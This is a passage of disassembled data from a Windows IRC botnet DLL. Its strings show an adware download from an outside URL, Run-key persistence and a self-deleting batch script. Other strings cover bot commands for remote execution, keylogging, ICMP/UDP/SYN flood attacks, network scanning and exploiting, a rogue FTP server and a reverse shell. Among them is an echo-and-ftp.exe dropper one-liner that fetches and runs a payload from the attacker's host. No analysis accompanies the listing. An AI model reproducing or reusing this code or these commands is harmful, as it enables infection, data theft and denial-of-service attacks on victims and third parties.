		db 0D2h, 0FAh, 0B0h
		db    6
		db 0E3h, 0CAh, 0B8h
		db 0BAh	; º
		db 0D2h, 0FCh, 27h
a9arz4tfled8o_0	db '9arZ4TFLED8OjD3AICISR7A14gfpAGAI4Mvub1yWTdTZoEnGqgR1fEZmAq9LLzHoP'
		db 'tLGaj0Uihzzki3Lp4GSJTt9X3xCgTtXw2wBRMWp6u83Rfy',0
; char byte_10011908[]
byte_10011908	db 2 dup(0)		; DATA XREF: sub_10003D60+382o
		dw 5701h
		dd 424D53FFh, 2Fh, 20011800h, 3	dup(0)
		dd 1D300800h, 0EC840800h, 0FF0Eh, 30400000h, 0FF000002h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 52001F00h, 4E373636h, 76486F54h, 68633251h, 43683667h
		dd 4B465439h, 57567967h, 42394553h, 574F654Ah, 396B4273h
		dd 56317652h, 70426E42h, 58464275h, 62464835h, 336D784Ah
		dd 30345053h, 6C46767Ah, 6A37544Fh, 5459454Ah, 3662696Fh
		dd 326A5765h, 65316344h, 5559364Bh, 78383233h, 7542645Ah
		dd 70527956h, 45473336h, 3672317Ah, 70355051h, 3159584Fh
		dd 70393275h, 6A415074h, 787A6534h, 0A595069h, 4A000208h
		dd 396C5752h, 4387750h,	32000208h, 56494937h, 68556F6Dh
		dd 41516956h, 474C4335h, 30454F6Bh, 30523651h, 7874646Fh
		dd 4703265h, 35000208h,	78327879h, 4353870h, 51000208h
		dd 4A363967h, 56726571h, 53584755h, 614F5958h, 62477A61h
		dd 73615648h, 344B4D33h, 793942h, 78F9BF00h, 1000000h
		dd 0
		dd 1000000h, 0
		dd 7BEEB400h, 0
; char byte_10011A64[]
byte_10011A64	db 3 dup(0)		; DATA XREF: sub_10003D60+3B6o
		db 66h
		dd 424D53FFh, 25h, 20011800h, 3	dup(0)
		dd 1D300800h, 0EC840800h, 1C000010h, 0E0040000h, 0FFh
		dd 2 dup(0)
		dd 1C004A00h, 2004A00h,	2600h, 5C002340h, 45504950h, 5005Ch
		dd 100200h, 1C0000h, 0
		dd 40000h, 0
		dd 1Fh,	0
unk_10011AD0	db  11h			; DATA XREF: sub_1000504C+9o
aTvPw99qW	db 'Tv}}pw~9[`9q(}}*w',0
		align 4
		dd 1Bh dup(0)
aWebreader	db 'WebReader',0        ; DATA XREF: start+2Do
		align 4
aHttpAdware_rxm	db 'http://adware.rxmods.net/adware.exe',0 ; DATA XREF: start+43o
; char Mode[]
Mode		db 'wb',0               ; DATA XREF: start+58o
		align 4
; char aCAdware_exe[]
aCAdware_exe	db 'c:\adware.exe',0    ; DATA XREF: start+5Do
		align 4
; char File[]
File		db 'c:\adware.exe',0    ; DATA XREF: start+D3o
		align 4
; char Operation[]
Operation	db 'open',0             ; DATA XREF: start+D8o
		align 4
; char aSS_2[]
aSS_2		db '%s%s',0             ; DATA XREF: start+2B4o
		align 4
a95		db '95',0               ; DATA XREF: sub_10004987+7Co
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_10004987+8Eo
		align 4
a98		db '98',0               ; DATA XREF: sub_10004987+A9o
		align 10h
aMe		db 'ME',0               ; DATA XREF: sub_10004987+C4o
		align 4
a2000		db '2000',0             ; DATA XREF: sub_10004987+DFo
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_10004987+FAo
		align 10h
a???		db '???',0              ; DATA XREF: sub_10004987:loc_10004A8Ao
; char aSS_3[]
aSS_3		db '%s (%s)',0          ; DATA XREF: sub_10004987+129o
; char aOsWindowsSD_DD[]
aOsWindowsSD_DD	db 'OS: Windows %s (%d.%d - %d), CPU: %dMHz, RAM: %d/%dMB free, box: '
					; DATA XREF: sub_10004987+210o
		db '%s, user: %s, sysdir: %s, uptime: %lud %luh %lum',0
		align 10h
; char aIpSConnectedFr[]
aIpSConnectedFr	db 'IP: %s, connected from: %s (%s)',0 ; DATA XREF: sub_10004BB5+24o
; char aD_D_D_D[]
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_10004BF7+16o
; char aD_D_D_D_0[]
aD_D_D_D_0	db '%d.%d.%d.%d',0      ; DATA XREF: sub_10004C83+48o
; char aSS_4[]
aSS_4		db '%s\%s',0            ; DATA XREF: sub_10004CE4+27o
		align 10h
; char aSStart[]
aSStart		db '%s,start',0         ; DATA XREF: sub_10004CE4+8Do
		align 4
; char aRundll32_exe[]
aRundll32_exe	db 'rundll32.exe',0     ; DATA XREF: sub_10004CE4+B2o
		align 4
; char aOpen_0[]
aOpen_0		db 'open',0             ; DATA XREF: sub_10004CE4+B7o
		align 4
; char aWindllS[]
aWindllS	db 'WinDLL (%s)',0      ; DATA XREF: sub_10004DB1+20o
; char aSS_5[]
aSS_5		db '%s\%s',0            ; DATA XREF: sub_10004DB1+46o
		align 4
; char aRundll32_exeSS[]
aRundll32_exeSS	db 'rundll32.exe %s,start',0 ; DATA XREF: sub_10004DB1+67o
		align 10h
; char SubKey[]
SubKey		db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_10004DB1+97o
		align 10h
; char aSS_6[]
aSS_6		db '%s\%s',0            ; DATA XREF: sub_10004EA7+39o
		align 4
; char aSuninstall_bat[]
aSuninstall_bat	db '%suninstall.bat',0  ; DATA XREF: sub_10004EA7+5Ao
; char aWindllS_0[]
aWindllS_0	db 'WinDLL (%s)',0      ; DATA XREF: sub_10004EA7+92o
; char aSoftwareMicr_0[]
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_10004EA7+C2o
		align 4
; char a[]
a@echoOff1DelSI	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_10004EA7+109o
		db ':1',0Dh,0Ah
		db 'del "%s"',0Dh,0Ah
		db 'if exist "%s" goto 1',0Dh,0Ah
		db 'del "%s"',0Dh,0Ah,0
		align 10h
; char aOpen_1[]
aOpen_1		db 'open',0             ; DATA XREF: sub_10004EA7+18Co
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_10005380+30o
		align 4
; char aOpen_2[]
aOpen_2		db 'open',0             ; DATA XREF: sub_10005380+156o
		align 4
; char aSStart_0[]
aSStart_0	db '%s,start',0         ; DATA XREF: sub_10005380+16Co
		align 4
; char aRundll32_exe_0[]
aRundll32_exe_0	db 'rundll32.exe',0     ; DATA XREF: sub_10005380+191o
		align 4
; char aOpen_3[]
aOpen_3		db 'open',0             ; DATA XREF: sub_10005380+196o
		align 10h
; char aQuit[]
aQuit		db 'QUIT',0             ; DATA XREF: sub_10005380:loc_10005523o
		align 4
; char aOpen_4[]
aOpen_4		db 'open',0             ; DATA XREF: sub_10005380+1D1o
		align 10h
aMozilla4_0Co_0	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_10005584+30o
		align 4
aSpeed_test	db 'speed.test',0       ; DATA XREF: sub_10005584+110o
		align 4
; char aSpeedtestCompl[]
aSpeedtestCompl	db 'speedtest complete (upload speed: %luKB/s)',0
					; DATA XREF: sub_10005584+202o
		align 4
aTemp		db 'Temp',0             ; DATA XREF: .text:1000594Fo
		align 4
aHttpWww_whatis	db 'http://www.whatismyip.org',0
		align 4
aMainExternalIp	db 'Main-> External IP: %s',0 ; DATA XREF: .text:100059BBo
		align 10h
a220WelcomeToFt	db '220 Welcome to FTPd',0Ah,0 ; DATA XREF: sub_10005C3D+2E5o
		align 4
; char cp[]
cp		db '61.251.128.0',0     ; DATA XREF: sub_10005C3D+302o
		align 4
; char a61_251_128_255[]
a61_251_128_255	db '61.251.128.255',0   ; DATA XREF: sub_10005C3D+327o
		align 4
; char a210_93_224_0[]
a210_93_224_0	db '210.93.224.0',0     ; DATA XREF: sub_10005C3D+351o
		align 4
; char a210_93_224_255[]
a210_93_224_255	db '210.93.224.255',0   ; DATA XREF: sub_10005C3D+376o
		align 4
; char aSS_7[]
aSS_7		db '%s %s',0            ; DATA XREF: sub_10005C3D+540o
		align 10h
; char Str1[]
Str1		db 'USER',0             ; DATA XREF: sub_10005C3D+55Co
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_10005C3D+572o
		align 10h
; char aPass[]
aPass		db 'PASS',0             ; DATA XREF: sub_10005C3D+5B4o
		align 4
a230UserLoggedI	db '230 User logged in',0Ah,0 ; DATA XREF: sub_10005C3D+5CAo
; char aSyst[]
aSyst		db 'SYST',0             ; DATA XREF: sub_10005C3D+609o
		align 4
dword_10011F34	dd 20353132h		; DATA XREF: sub_10005C3D+61Ar
dword_10011F38	dd 64505446h		; DATA XREF: sub_10005C3D+626r
word_10011F3C	dw 0Ah			; DATA XREF: sub_10005C3D+632r
		align 10h
; char aRest[]
aRest		db 'REST',0             ; DATA XREF: sub_10005C3D+671o
		align 4
dword_10011F48	dd 20303533h		; DATA XREF: sub_10005C3D+682r
dword_10011F4C	dd 74736552h		; DATA XREF: sub_10005C3D+68Er
dword_10011F50	dd 69747261h		; DATA XREF: sub_10005C3D+699r
dword_10011F54	dd 0A676Eh		; DATA XREF: sub_10005C3D+6A5r
; char aPwd[]
aPwd		db 'PWD',0              ; DATA XREF: sub_10005C3D+6E3o
a257IsCurrentDi	db '257 "/" is current directory',0Ah,0 ; DATA XREF: sub_10005C3D+6F9o
		align 4
; char aType[]
aType		db 'TYPE',0             ; DATA XREF: sub_10005C3D+73Ao
		align 4
; char aA[]
aA:					; DATA XREF: sub_10005C3D+756o
		unicode	0, <A>,0
dword_10011F88	dd 20303032h		; DATA XREF: sub_10005C3D+767r
dword_10011F8C	dd 65707954h		; DATA XREF: sub_10005C3D+772r
dword_10011F90	dd 74657320h		; DATA XREF: sub_10005C3D+77Er
dword_10011F94	dd 206F7420h		; DATA XREF: sub_10005C3D+78Ar
word_10011F98	dw 0A41h		; DATA XREF: sub_10005C3D+795r
byte_10011F9A	db 0			; DATA XREF: sub_10005C3D+7A3r
		align 4
; char aType_0[]
aType_0		db 'TYPE',0             ; DATA XREF: sub_10005C3D+7E1o
		align 4
; char aI[]
aI:					; DATA XREF: sub_10005C3D+7FDo
		unicode	0, <I>,0
dword_10011FA8	dd 20303032h		; DATA XREF: sub_10005C3D+80Er
dword_10011FAC	dd 65707954h		; DATA XREF: sub_10005C3D+81Ar
dword_10011FB0	dd 74657320h		; DATA XREF: sub_10005C3D+825r
dword_10011FB4	dd 206F7420h		; DATA XREF: sub_10005C3D+831r
word_10011FB8	dw 0A49h		; DATA XREF: sub_10005C3D+83Dr
byte_10011FBA	db 0			; DATA XREF: sub_10005C3D+84Ar
		align 4
; char aPasv[]
aPasv		db 'PASV',0             ; DATA XREF: sub_10005C3D+888o
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_10005C3D+89Eo
		align 10h
; char aList[]
aList		db 'LIST',0             ; DATA XREF: sub_10005C3D+8DFo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_10005C3D+8F5o
		align 10h
; char aPort[]
aPort		db 'PORT',0             ; DATA XREF: sub_10005C3D+937o
		align 4
a200PortCommand	db '200 PORT command successful',0Ah,0 ; DATA XREF: sub_10005C3D+951o
		align 4
; char aS_0[]
aS_0		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
					; DATA XREF: sub_10005C3D+989o
		db ']',0
; char aXX[]
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_10005C3D+9EBo
		align 4
; char aS_S_S_S[]
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_10005C3D+A38o
; char aRetr[]
aRetr		db 'RETR',0             ; DATA XREF: sub_10005C3D+A81o
		align 4
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_10005C3D+A9Bo
		align 4
a226TransferC_0	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_10005C3D+AAEo
		align 10h
a425CanTOpenDat	db '425 Can',27h,'t open data connection',0Ah,0
					; DATA XREF: sub_10005C3D+AC3o
; char aFtpTransferCom[]
aFtpTransferCom	db 'ftp transfer complete to %s',0 ; DATA XREF: sub_10005C3D+B6Ao
; char aQuit_0[]
aQuit_0		db 'QUIT',0             ; DATA XREF: sub_10005C3D+BADo
		align 4
dword_10012104	dd 20313232h		; DATA XREF: sub_10005C3D+BBEr
dword_10012108	dd 646F6F47h		; DATA XREF: sub_10005C3D+BCAr
dword_1001210C	dd 0A657962h		; DATA XREF: sub_10005C3D+BD6r
byte_10012110	db 0			; DATA XREF: sub_10005C3D+BE1r
		align 4
		dd 1
dword_10012118	dd 57524D54h		; DATA XREF: sub_10007005+9r
dword_1001211C	dd 6B726Fh		; DATA XREF: sub_10007005+11r
dword_10012120	dd 3539h		; DATA XREF: sub_10007005+63o
dword_10012124	dd 544Eh		; DATA XREF: sub_10007005+73o
dword_10012128	dd 3839h		; DATA XREF: sub_10007005+91o
dword_1001212C	dd 454Dh		; DATA XREF: sub_10007005+ACo
dword_10012130	dd 4B32h		; DATA XREF: sub_10007005+C7o
dword_10012134	dd 5058h		; DATA XREF: sub_10007005+E2o
dword_10012138	dd 334B32h		; DATA XREF: sub_10007005+FDo
dword_1001213C	dd 3F3F3Fh		; DATA XREF: sub_10007005:loc_1000710Bo
; char aUserSS[]
aUserSS		db 'USER %s "" "" :%s',0 ; DATA XREF: sub_10007005+240o
		align 4
; char aNickSSS[]
aNickSSS	db 'NICK |%s%s%s',0     ; DATA XREF: sub_10007005+259o
		align 4
; char aPassS[]
aPassS		db 'PASS %s',0          ; DATA XREF: sub_10007005+276o
; char asc_1001216C[]
asc_1001216C	db 0Dh,0Ah,0		; DATA XREF: sub_10007293+32o
		align 10h
; char aPrivmsgSS[]
aPrivmsgSS	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_10007303+3Do
		align 10h
; char asc_10012180[]
asc_10012180	db 0Dh,0Ah,0		; DATA XREF: sub_10007303+57o
		align 4
; char aPing[]
aPing		db 'PING',0             ; DATA XREF: sub_10007424+12Do
		align 4
; char aPongS[]
aPongS		db 'PONG %s',0          ; DATA XREF: sub_10007424+143o
; char a001[]
a001		db '001',0              ; DATA XREF: sub_10007424+168o
; char aUserhostS[]
aUserhostS	db 'USERHOST %s',0      ; DATA XREF: sub_10007424+193o
; char aJoinSS[]
aJoinSS		db 'JOIN %s %s',0       ; DATA XREF: sub_10007424+1AAo
		align 10h
; char a302[]
a302		db '302',0              ; DATA XREF: sub_10007424+1C0o
; char a433[]
a433		db '433',0              ; DATA XREF: sub_10007424+31Eo
; char aNickS[]
aNickS		db 'NICK %s',0          ; DATA XREF: sub_10007424+336o
; char aNick[]
aNick		db 'NICK',0             ; DATA XREF: sub_10007424+34Co
		align 4
; char aKick[]
aKick		db 'KICK',0             ; DATA XREF: sub_10007424+3A7o
		align 10h
; char aJoinSS_0[]
aJoinSS_0	db 'JOIN %s %s',0       ; DATA XREF: sub_10007424+3EEo
		align 4
; char aPrivmsg[]
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_10007424+404o
; char a332[]
a332		db '332',0              ; DATA XREF: sub_10007424+41Ao
; char aPrivmsg_0[]
aPrivmsg_0	db 'PRIVMSG',0          ; DATA XREF: sub_10007424+434o
; char aSPrivmsgSS[]
aSPrivmsgSS	db ':%s PRIVMSG %s :%s',0 ; DATA XREF: sub_10007424+5A6o
		align 4
; char a332_0[]
a332_0		db '332',0              ; DATA XREF: sub_10007424+5DAo
; char aS332SSS[]
aS332SSS	db ':%s 332 %s %s :%s',0 ; DATA XREF: sub_10007424+6FDo
		align 4
a@fbi_gov	db '*@fbi.gov',0        ; DATA XREF: sub_10007424+739o
		align 4
; char a332_1[]
a332_1		db '332',0              ; DATA XREF: sub_10007424+74Eo
; char aBotid[]
aBotid		db 'botid',0            ; DATA XREF: sub_10007424+770o
		align 4
; char aBotidS___[]
aBotidS___	db '{BOTID}: %s...',0   ; DATA XREF: sub_10007424+787o
		align 4
; char aUptime[]
aUptime		db 'uptime',0           ; DATA XREF: sub_10007424+7ABo
		align 4
; char aUptimeLudLuhLu[]
aUptimeLudLuhLu	db '{UPTIME}: %lud %luh %lum...',0 ; DATA XREF: sub_10007424+874o
; char aSysinfo[]
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_10007424+898o
; char aSysinfoS___[]
aSysinfoS___	db '{SYSINFO}: %s...',0 ; DATA XREF: sub_10007424+8B0o
		align 4
; char aNetinfo[]
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_10007424+8D4o
; char aNetinfoS___[]
aNetinfoS___	db '{NETINFO}: %s...',0 ; DATA XREF: sub_10007424+8ECo
		align 10h
; char aReconnect[]
aReconnect	db 'reconnect',0        ; DATA XREF: sub_10007424+910o
		align 4
; char aQuit_1[]
aQuit_1		db 'QUIT',0             ; DATA XREF: sub_10007424+922o
		align 4
; char aExit[]
aExit		db 'exit',0             ; DATA XREF: sub_10007424+93Fo
		align 4
; char aQuit_2[]
aQuit_2		db 'QUIT',0             ; DATA XREF: sub_10007424+956o
		align 4
; char aRemove[]
aRemove		db 'remove',0           ; DATA XREF: sub_10007424+976o
		align 4
; char aQuit_3[]
aQuit_3		db 'QUIT',0             ; DATA XREF: sub_10007424+9BBo
		align 4
; char aRaw[]
aRaw		db 'raw',0              ; DATA XREF: sub_10007424+9DDo
; char aS_1[]
aS_1		db ' %s',0              ; DATA XREF: sub_10007424+A10o
; char aRawS___[]
aRawS___	db '{RAW}: %s...',0     ; DATA XREF: sub_10007424+AA8o
		align 4
; char aOpen_5[]
aOpen_5		db 'open',0             ; DATA XREF: sub_10007424+AC5o
		align 4
; char aS_2[]
aS_2		db ' %s',0              ; DATA XREF: sub_10007424+AF8o
; char aOpen_6[]
aOpen_6		db 'open',0             ; DATA XREF: sub_10007424+B96o
		align 10h
; char aOpenOpenedFile[]
aOpenOpenedFile	db '{OPEN}: Opened file %s...',0 ; DATA XREF: sub_10007424+BAAo
		align 4
; char aExec[]
aExec		db 'exec',0             ; DATA XREF: sub_10007424+BCEo
		align 4
; char aS_3[]
aS_3		db ' %s',0              ; DATA XREF: sub_10007424+C01o
; char aCS[]
aCS		db '/C %s',0            ; DATA XREF: sub_10007424+C7Do
		align 10h
; char aCmd_exe[]
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_10007424+CA2o
; char aOpen_7[]
aOpen_7		db 'open',0             ; DATA XREF: sub_10007424+CA7o
		align 10h
; char aExecuteExecute[]
aExecuteExecute	db '{EXECUTE}: Executed file %s...',0 ; DATA XREF: sub_10007424+CBBo
		align 10h
; char aDelete[]
aDelete		db 'delete',0           ; DATA XREF: sub_10007424+CDFo
		align 4
; char aS_4[]
aS_4		db ' %s',0              ; DATA XREF: sub_10007424+D12o
; char aDeletedFileS__[]
aDeletedFileS__	db '{DELETED}: FILE %s...',0 ; DATA XREF: sub_10007424+DAEo
		align 4
; char aSpeedtest[]
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_10007424+DDFo
		align 10h
; char aSpeedtest_0[]
aSpeedtest_0	db 'speedtest',0        ; DATA XREF: sub_10007424+E94o
		align 4
; char aDownlow[]
aDownlow	db 'downlow',0          ; DATA XREF: sub_10007424+F30o
; char aDownloadingDow[]
aDownloadingDow	db '{DOWNLOADING}: Downloading file...',0 ; DATA XREF: sub_10007424+FC8o
		align 4
; char aDownload[]
aDownload	db 'download',0         ; DATA XREF: sub_10007424+FE3o
		align 4
; char aIcmp[]
aIcmp		db 'icmp',0             ; DATA XREF: sub_10007424+107Fo
		align 4
; char aIcmpflood[]
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_10007424+10FBo
		align 4
; char aIcmpFloodingSF[]
aIcmpFloodingSF	db 'ICMP-Flooding %s for %s seconds.',0 ; DATA XREF: sub_10007424+1195o
		align 4
; char aUdp[]
aUdp		db 'udp',0              ; DATA XREF: sub_10007424+11B9o
; char aUdpflood[]
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_10007424+1255o
		align 4
; char aUdpFloodingSOn[]
aUdpFloodingSOn	db 'UDP-Flooding %s on port %s for %s seconds.',0
					; DATA XREF: sub_10007424+12FAo
		align 4
; char aSyn[]
aSyn		db 'syn',0              ; DATA XREF: sub_10007424+131Eo
; char aSynflood[]
aSynflood	db 'synflood',0         ; DATA XREF: sub_10007424+13BAo
		align 4
; char aSSynFloodingSO[]
aSSynFloodingSO	db '%s SYN-Flooding %s on port %s for %s seconds.',0
					; DATA XREF: sub_10007424+143Co
		align 4
; char aDdosstop[]
aDdosstop	db 'ddosstop',0         ; DATA XREF: sub_10007424+1460o
		align 4
; char aIcmpflood_0[]
aIcmpflood_0	db 'icmpflood',0        ; DATA XREF: sub_10007424+1472o
		align 10h
; char aUdpflood_0[]
aUdpflood_0	db 'udpflood',0         ; DATA XREF: sub_10007424+147Fo
		align 4
; char aSynflood_0[]
aSynflood_0	db 'synflood',0         ; DATA XREF: sub_10007424+148Co
		align 4
; char aDdosFloodHasSt[]
aDdosFloodHasSt	db 'DDOS FLOOD HAS STOPPED',0 ; DATA XREF: sub_10007424+1499o
		align 10h
; char aUpdate[]
aUpdate		db 'update',0           ; DATA XREF: sub_10007424+14BDo
		align 4
aExe		db 'exe',0              ; DATA XREF: sub_10007424+1579o
aDll		db 'dll',0              ; DATA XREF: sub_10007424:loc_100089A9o
; char aSS_S[]
aSS_S		db '%s\%s.%s',0         ; DATA XREF: sub_10007424+15A4o
		align 4
; char aUpdatingUpdate[]
aUpdatingUpdate	db '{UPDATING}: Updated file... [FILE: %s]',0
					; DATA XREF: sub_10007424+15DAo
		align 4
; char aUpdate_0[]
aUpdate_0	db 'update',0           ; DATA XREF: sub_10007424+15F5o
		align 4
; char aHttpd[]
aHttpd		db '!httpd',0           ; DATA XREF: sub_10007424+1691o
		align 4
; char aExploitedHttpS[]
aExploitedHttpS	db '{EXPLOITED-HTTP}: Started on %s:83...',0Dh,0Ah,0
					; DATA XREF: sub_10007424+16A8o
; char aTl[]
aTl		db 'tl',0               ; DATA XREF: sub_10007424+16CCo
		align 10h
; char aTk[]
aTk		db 'tk',0               ; DATA XREF: sub_10007424+1704o
		align 4
; char aThreadsKilledT[]
aThreadsKilledT	db '{THREADS}: Killed thread %s...',0 ; DATA XREF: sub_10007424+1746o
		align 4
; char aKpid[]
aKpid		db 'kpid',0             ; DATA XREF: sub_10007424+176Ao
		align 4
; char aThreadsKille_0[]
aThreadsKille_0	db '{THREADS}: Killed thread %s...',0 ; DATA XREF: sub_10007424+17B6o
		align 4
; char aKat[]
aKat		db 'kat',0              ; DATA XREF: sub_10007424+17DAo
; char aThreadsKilledA[]
aThreadsKilledA	db '{THREADS}: Killed all threads...',0 ; DATA XREF: sub_10007424+17FCo
		align 4
; char aPslist[]
aPslist		db 'pslist',0           ; DATA XREF: sub_10007424+1820o
		align 4
; char aPskill[]
aPskill		db 'pskill',0           ; DATA XREF: sub_10007424+185Do
		align 4
; char aPskillpid[]
aPskillpid	db 'pskillpid',0        ; DATA XREF: sub_10007424+18A9o
		align 10h
; char aHttpserver[]
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_10007424+18FAo
		align 4
; char aHttpserverSS__[]
aHttpserverSS__	db '{HTTPSERVER}: %s:%s...',0Dh,0Ah,0 ; DATA XREF: sub_10007424+197Co
		align 4
; char aHttpd_0[]
aHttpd_0	db 'httpd',0            ; DATA XREF: sub_10007424+19A2o
		align 10h
; char aUinfo[]
aUinfo		db 'uinfo',0            ; DATA XREF: sub_10007424+1A35o
		align 4
aPc		db 'PC',0               ; DATA XREF: sub_10007424+1A4Bo
		align 4
aPc_0		db 'PC',0               ; DATA XREF: sub_10007424+1A91o
		align 10h
aPc_1		db 'PC',0               ; DATA XREF: sub_10007424+1B26o
		align 4
aWindows95	db 'WINDOWS 95',0       ; DATA XREF: sub_10007424+1B7Co
		align 10h
aWindowsNt	db 'WINDOWS NT',0       ; DATA XREF: sub_10007424+1B8Fo
		align 4
aWindows98	db 'WINDOWS 98',0       ; DATA XREF: sub_10007424+1BB0o
		align 4
aWindowsMe	db 'WINDOWS ME',0       ; DATA XREF: sub_10007424+1BD1o
		align 4
aWindows2k	db 'WINDOWS 2K',0       ; DATA XREF: sub_10007424+1BEFo
		align 10h
aWindowsXp	db 'WINDOWS XP',0       ; DATA XREF: sub_10007424+1C0Do
		align 4
aWindows2k3	db 'WINDOWS 2K3',0      ; DATA XREF: sub_10007424+1C2Bo
aUnknown	db 'UNKNOWN',0          ; DATA XREF: sub_10007424:loc_1000905Bo
; char aUserinfoCountr[]
aUserinfoCountr	db '{USERINFO}: Country %s operating system %s...',0
					; DATA XREF: sub_10007424+1C75o
		align 10h
; char aScan[]
aScan		db 'scan',0             ; DATA XREF: sub_10007424+1C99o
		align 4
; char aAsn[]
aAsn		db 'asn',0              ; DATA XREF: sub_10007424+1CE4o
; char aAsn_0[]
aAsn_0		db 'asn',0              ; DATA XREF: sub_10007424+1D17o
; char aD_D_D_D_1[]
aD_D_D_D_1	db '%d.%d.%d.%d',0      ; DATA XREF: sub_10007424+1D48o
; char aScanningD_x_x_[]
aScanningD_x_x_	db '{SCANNING}: %d.x.x.x - %d.%d.x.x...',0 ; DATA XREF: sub_10007424+1D70o
; char aNetapi[]
aNetapi		db 'netapi',0           ; DATA XREF: sub_10007424+1D9Bo
		align 4
; char aNetapi_0[]
aNetapi_0	db 'netapi',0           ; DATA XREF: sub_10007424+1DCEo
		align 10h
; char aD_D_D_D_2[]
aD_D_D_D_2	db '%d.%d.%d.%d',0      ; DATA XREF: sub_10007424+1DFFo
; char aScanningD_x__0[]
aScanningD_x__0	db '{SCANNING}: %d.x.x.x - %d.%d.x.x...',0 ; DATA XREF: sub_10007424+1E27o
; char aScanningFailed[]
aScanningFailed	db '{SCANNING}: Failed...',0 ; DATA XREF: sub_10007424+1E6Fo
		align 4
; char aD_D_D_D_3[]
aD_D_D_D_3	db '%d.%d.%d.%d',0      ; DATA XREF: sub_10007424+1F1Do
; char aD_D_D_D_4[]
aD_D_D_D_4	db '%d.%d.%d.%d',0      ; DATA XREF: sub_10007424+1F93o
; char aD_x_x_x[]
aD_x_x_x	db '%d.x.x.x',0         ; DATA XREF: sub_10007424+1FBDo
		align 4
; char aD_D_x_x[]
aD_D_x_x	db '%d.%d.x.x',0        ; DATA XREF: sub_10007424+1FF7o
		align 4
; char aD_D_D_x[]
aD_D_D_x	db '%d.%d.%d.x',0       ; DATA XREF: sub_10007424+2034o
		align 4
; char aD_D_x_x_0[]
aD_D_x_x_0	db '%d.%d.x.x',0        ; DATA XREF: sub_10007424+205Bo
		align 10h
; char aScan_0[]
aScan_0		db 'scan',0             ; DATA XREF: sub_10007424+208Co
		align 4
; char aKeylog[]
aKeylog		db 'keylog',0           ; DATA XREF: sub_10007424+2142o
		align 10h
asc_100127A0	db 0Dh,0Ah,0		; DATA XREF: sub_10007424+21FCo
		align 4
; char aKeylogS[]
aKeylogS	db '{KEYLOG}:%s',0Dh,0Ah,0 ; DATA XREF: sub_10007424+2201o
		align 4
; char aScanstop[]
aScanstop	db 'scanstop',0         ; DATA XREF: sub_10007424+2227o
		align 10h
; char aScan_1[]
aScan_1		db 'scan',0             ; DATA XREF: sub_10007424+2239o
		align 4
; char aScanstopStoppe[]
aScanstopStoppe	db '{SCANSTOP}: Stopped scanning... :%d: Roots...',0
					; DATA XREF: sub_10007424+224Do
		align 4
; char aEip[]
aEip		db '!eip',0             ; DATA XREF: sub_10007424+2271o
		align 10h
; char PrefixString[]
PrefixString	db 'Temp',0             ; DATA XREF: sub_10007424+231Fo
		align 4
aHttpWww_what_0	db 'http://www.whatismyip.org',0
		align 4
; char aExternalIpS___[]
aExternalIpS___	db '{EXTERNAL-IP} %s...',0 ; DATA XREF: sub_10007424+238Bo
; char aScanstats[]
aScanstats	db 'scanstats',0        ; DATA XREF: sub_10007424+23ACo
		align 4
; char aScanstatsExplo[]
aScanstatsExplo	db '{SCANSTATS}: Exploits %d...',0 ; DATA XREF: sub_10007424+23EDo
; char aSD[]
aSD		db '%s (%d)',0          ; DATA XREF: sub_1000998F+D5o
; char aD_D_D_D_5[]
aD_D_D_D_5	db '%d.%d.%d.%d',0      ; DATA XREF: sub_10009B22+32o
; char aD_D_D_D_6[]
aD_D_D_D_6	db '%d.%d.%d.%d',0      ; DATA XREF: sub_10009B22+B4o
; char aFtpd[]
aFtpd		db 'ftpd',0             ; DATA XREF: sub_10009C30+6o
		align 4
; char aFtpd_0[]
aFtpd_0		db 'ftpd',0             ; DATA XREF: sub_10009C30+4Fo
		align 10h
; char aS_dll_7[]
aS_dll_7	db '%s.dll',0           ; DATA XREF: sub_10009CEB+BFo
		align 4
; char aEchoOpenSHuXEc[]
aEchoOpenSHuXEc	db 'echo open %s %hu>x&echo user x x>>x&echo bin>>x&echo get %s>>x&ec'
					; DATA XREF: sub_10009CEB+F2o
		db 'ho bye>>x&ftp.exe -n -s:x&del x&rundll32.exe %s,start',0Dh,0Ah,0
		align 4
; char aMsdtc[]
aMsdtc		db 'msdtc',0            ; DATA XREF: sub_10009EF0+74o
		align 4
; char aRshell[]
aRshell		db 'rshell',0           ; DATA XREF: sub_10009EF0+89o
		align 4
; char aRshell_0[]
aRshell_0	db 'rshell',0           ; DATA XREF: sub_10009EF0+D4o
		align 4
; char aAsn_1[]
aAsn_1		db 'asn',0              ; DATA XREF: sub_1000A1A9+24Fo
; char aNetapi_1[]
aNetapi_1	db 'netapi',0           ; DATA XREF: sub_1000A1A9:loc_1000A447o
		align 4
; char aHuAttemptingTo[]
aHuAttemptingTo	db '%hu | Attempting to exploit %s',0 ; DATA XREF: sub_1000A1A9+32Ao
		align 4
; char aGotReverseShel[]
